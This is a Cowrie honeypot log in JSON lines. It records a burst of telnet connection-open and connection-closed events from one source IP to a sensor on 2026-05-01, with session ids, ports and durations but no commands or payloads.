{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57362,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5aabf2b3472","protocol":"telnet","message":"New connection: 69.6.196.124:57362 (159.203.135.109:23) [session: d5aabf2b3472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.876204Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57374,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bca218613d","protocol":"telnet","message":"New connection: 69.6.196.124:57374 (159.203.135.109:23) [session: d6bca218613d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.888490Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57388,"dst_ip":"159.203.135.109","dst_port":23,"session":"98b221f6a082","protocol":"telnet","message":"New connection: 69.6.196.124:57388 (159.203.135.109:23) [session: 98b221f6a082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:00.104245Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"11635c712a6b","protocol":"telnet","message":"New connection: 69.6.196.124:57396 (159.203.135.109:23) [session: 11635c712a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:00.330698Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77349f81c49","protocol":"telnet","message":"New connection: 69.6.196.124:57402 (159.203.135.109:23) [session: e77349f81c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:00.344777Z"}
{"eventid":"cowrie.session.closed","duration":30.482162475585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:00.476671Z","src_ip":"69.6.196.124","session":"c1087f4306eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b9ebf0ef20","protocol":"telnet","message":"New connection: 69.6.196.124:57414 (159.203.135.109:23) [session: b8b9ebf0ef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.004721Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57386,"dst_ip":"159.203.135.109","dst_port":23,"session":"98be0712efe7","protocol":"telnet","message":"New connection: 69.6.196.124:57386 (159.203.135.109:23) [session: 98be0712efe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.097732Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57424,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6a67f8078da","protocol":"telnet","message":"New connection: 69.6.196.124:57424 (159.203.135.109:23) [session: f6a67f8078da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.146181Z"}
{"eventid":"cowrie.session.closed","duration":30.404433012008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.314088Z","src_ip":"69.6.196.124","session":"2714da68809a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57438,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16f70543d53","protocol":"telnet","message":"New connection: 69.6.196.124:57438 (159.203.135.109:23) [session: d16f70543d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.453243Z"}
{"eventid":"cowrie.session.closed","duration":31.212685585021973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.659348Z","src_ip":"69.6.196.124","session":"4bbdf8767989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57466,"dst_ip":"159.203.135.109","dst_port":23,"session":"9091ae6a49fb","protocol":"telnet","message":"New connection: 69.6.196.124:57466 (159.203.135.109:23) [session: 9091ae6a49fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:01.835604Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57508,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c9e4c7c13b","protocol":"telnet","message":"New connection: 69.6.196.124:57508 (159.203.135.109:23) [session: 86c9e4c7c13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:02.331789Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57452,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9148d143c2","protocol":"telnet","message":"New connection: 69.6.196.124:57452 (159.203.135.109:23) [session: ff9148d143c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:02.698330Z"}
{"eventid":"cowrie.session.closed","duration":31.20394468307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:02.765134Z","src_ip":"69.6.196.124","session":"023da56d1e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"747018c0b349","protocol":"telnet","message":"New connection: 69.6.196.124:57478 (159.203.135.109:23) [session: 747018c0b349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:02.924805Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57524,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f05961d340","protocol":"telnet","message":"New connection: 69.6.196.124:57524 (159.203.135.109:23) [session: d0f05961d340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:02.940741Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57494,"dst_ip":"159.203.135.109","dst_port":23,"session":"865a8fe3d722","protocol":"telnet","message":"New connection: 69.6.196.124:57494 (159.203.135.109:23) [session: 865a8fe3d722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.337901Z"}
{"eventid":"cowrie.session.closed","duration":30.667481422424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.375269Z","src_ip":"69.6.196.124","session":"987f0cfd748c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57526,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3f87e067ff","protocol":"telnet","message":"New connection: 69.6.196.124:57526 (159.203.135.109:23) [session: 4e3f87e067ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.461549Z"}
{"eventid":"cowrie.session.closed","duration":31.133878231048584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.758958Z","src_ip":"69.6.196.124","session":"f533ab259ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92564296722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.798165Z","src_ip":"69.6.196.124","session":"471b23b09ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57534,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d82924f29aa","protocol":"telnet","message":"New connection: 69.6.196.124:57534 (159.203.135.109:23) [session: 7d82924f29aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:03.813323Z"}
{"eventid":"cowrie.session.closed","duration":31.12590765953064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.025432Z","src_ip":"69.6.196.124","session":"3d6d61b5822a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65215039253235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.043988Z","src_ip":"69.6.196.124","session":"fdbd7893ba66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493913650512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.362046Z","src_ip":"69.6.196.124","session":"26ceee209c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125613689422607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.533468Z","src_ip":"69.6.196.124","session":"01e96e5ad729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91875147819519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.598791Z","src_ip":"69.6.196.124","session":"85922406ed31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57550,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb3d0b0b5f0","protocol":"telnet","message":"New connection: 69.6.196.124:57550 (159.203.135.109:23) [session: 3bb3d0b0b5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.826748Z"}
{"eventid":"cowrie.session.closed","duration":37.174938440322876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.898220Z","src_ip":"69.6.196.124","session":"150918db625e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57558,"dst_ip":"159.203.135.109","dst_port":23,"session":"4156803a2f34","protocol":"telnet","message":"New connection: 69.6.196.124:57558 (159.203.135.109:23) [session: 4156803a2f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:04.961223Z"}
{"eventid":"cowrie.session.closed","duration":30.6110098361969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.384375Z","src_ip":"69.6.196.124","session":"3973aacf8e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2852144241333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.531604Z","src_ip":"69.6.196.124","session":"8544d81faeea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9005a9dad5","protocol":"telnet","message":"New connection: 69.6.196.124:57574 (159.203.135.109:23) [session: 7c9005a9dad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.548621Z"}
{"eventid":"cowrie.session.closed","duration":31.130523204803467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.679414Z","src_ip":"69.6.196.124","session":"f4ddfc0fb000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57540,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded0d5174369","protocol":"telnet","message":"New connection: 69.6.196.124:57540 (159.203.135.109:23) [session: ded0d5174369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.804178Z"}
{"eventid":"cowrie.session.closed","duration":31.41005825996399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.920752Z","src_ip":"69.6.196.124","session":"5d98c3cdf093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57590,"dst_ip":"159.203.135.109","dst_port":23,"session":"404e5a49ba09","protocol":"telnet","message":"New connection: 69.6.196.124:57590 (159.203.135.109:23) [session: 404e5a49ba09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:05.988749Z"}
{"eventid":"cowrie.session.closed","duration":31.441648721694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.072605Z","src_ip":"69.6.196.124","session":"2a010b91ba27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e76f84181aa","protocol":"telnet","message":"New connection: 69.6.196.124:57604 (159.203.135.109:23) [session: 8e76f84181aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.113356Z"}
{"eventid":"cowrie.session.closed","duration":31.3443922996521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.192764Z","src_ip":"69.6.196.124","session":"ea9efd0de3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356210708618164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.264686Z","src_ip":"69.6.196.124","session":"632aa03b9e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.238959312438965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.295524Z","src_ip":"69.6.196.124","session":"a1c49b53c5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75080895423889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.348825Z","src_ip":"69.6.196.124","session":"e8282f869be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60513663291931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.368692Z","src_ip":"69.6.196.124","session":"9b410d2d3bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251147031784058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.459982Z","src_ip":"69.6.196.124","session":"e29bd2b57306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57616,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7345fbee8d9","protocol":"telnet","message":"New connection: 69.6.196.124:57616 (159.203.135.109:23) [session: a7345fbee8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.472247Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57568,"dst_ip":"159.203.135.109","dst_port":23,"session":"903ce9cad1dd","protocol":"telnet","message":"New connection: 69.6.196.124:57568 (159.203.135.109:23) [session: 903ce9cad1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.476742Z"}
{"eventid":"cowrie.session.closed","duration":31.015613079071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.483650Z","src_ip":"69.6.196.124","session":"a289a8310f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce79d3ac70b0","protocol":"telnet","message":"New connection: 69.6.196.124:57620 (159.203.135.109:23) [session: ce79d3ac70b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.514737Z"}
{"eventid":"cowrie.session.closed","duration":30.4572172164917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.589310Z","src_ip":"69.6.196.124","session":"e822ffc81fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574241399765015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.617291Z","src_ip":"69.6.196.124","session":"983600d9265c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57586,"dst_ip":"159.203.135.109","dst_port":23,"session":"f698de573323","protocol":"telnet","message":"New connection: 69.6.196.124:57586 (159.203.135.109:23) [session: f698de573323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.636615Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57626,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca911bab153","protocol":"telnet","message":"New connection: 69.6.196.124:57626 (159.203.135.109:23) [session: eca911bab153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.655526Z"}
{"eventid":"cowrie.session.closed","duration":30.82900071144104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.725704Z","src_ip":"69.6.196.124","session":"e7314714ff88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12569808959961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:06.944665Z","src_ip":"69.6.196.124","session":"1e568b7a0021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57654,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c88c0c1ffa6","protocol":"telnet","message":"New connection: 69.6.196.124:57654 (159.203.135.109:23) [session: 4c88c0c1ffa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.245478Z"}
{"eventid":"cowrie.session.closed","duration":30.877293825149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.263662Z","src_ip":"69.6.196.124","session":"999f07743294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57662,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae20d92807d","protocol":"telnet","message":"New connection: 69.6.196.124:57662 (159.203.135.109:23) [session: aae20d92807d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.355378Z"}
{"eventid":"cowrie.session.closed","duration":30.64696955680847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.360710Z","src_ip":"69.6.196.124","session":"6ce7ccd0ce57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57664,"dst_ip":"159.203.135.109","dst_port":23,"session":"872c27de2b94","protocol":"telnet","message":"New connection: 69.6.196.124:57664 (159.203.135.109:23) [session: 872c27de2b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.409626Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"71dd428795e1","protocol":"telnet","message":"New connection: 69.6.196.124:57680 (159.203.135.109:23) [session: 71dd428795e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.434704Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c62956c358","protocol":"telnet","message":"New connection: 69.6.196.124:57684 (159.203.135.109:23) [session: 79c62956c358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.438938Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57638,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b7e9fca294","protocol":"telnet","message":"New connection: 69.6.196.124:57638 (159.203.135.109:23) [session: d8b7e9fca294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.787879Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57698,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec5cffdf788","protocol":"telnet","message":"New connection: 69.6.196.124:57698 (159.203.135.109:23) [session: 2ec5cffdf788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:07.927429Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd2c021c14e7","protocol":"telnet","message":"New connection: 69.6.196.124:57714 (159.203.135.109:23) [session: fd2c021c14e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.156518Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90095515599","protocol":"telnet","message":"New connection: 69.6.196.124:57726 (159.203.135.109:23) [session: d90095515599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.330958Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57734,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f5056d09de","protocol":"telnet","message":"New connection: 69.6.196.124:57734 (159.203.135.109:23) [session: e9f5056d09de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.348962Z"}
{"eventid":"cowrie.session.closed","duration":31.072444438934326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.459425Z","src_ip":"69.6.196.124","session":"3829bddc248e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7e996bdaa4","protocol":"telnet","message":"New connection: 69.6.196.124:57748 (159.203.135.109:23) [session: 0c7e996bdaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.666885Z"}
{"eventid":"cowrie.session.closed","duration":31.183324098587036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:08.824780Z","src_ip":"69.6.196.124","session":"3a4d5f5d440b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16472864151001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.111799Z","src_ip":"69.6.196.124","session":"c67067a4655e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57752,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7bb902ce5f","protocol":"telnet","message":"New connection: 69.6.196.124:57752 (159.203.135.109:23) [session: fc7bb902ce5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.329649Z"}
{"eventid":"cowrie.session.closed","duration":30.61607336997986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.340477Z","src_ip":"69.6.196.124","session":"2098f56bf4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369877099990845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.393061Z","src_ip":"69.6.196.124","session":"54191e7be8f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16137981414795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.397904Z","src_ip":"69.6.196.124","session":"4a6dddd26508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161659955978394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.408358Z","src_ip":"69.6.196.124","session":"e040e9876e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57754,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b4829c6b98","protocol":"telnet","message":"New connection: 69.6.196.124:57754 (159.203.135.109:23) [session: 87b4829c6b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.581788Z"}
{"eventid":"cowrie.session.closed","duration":31.142972230911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.680281Z","src_ip":"69.6.196.124","session":"7d2e33dcd921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39150,"dst_ip":"159.203.135.109","dst_port":23,"session":"02542617f8b3","protocol":"telnet","message":"New connection: 69.6.196.124:39150 (159.203.135.109:23) [session: 02542617f8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.880383Z"}
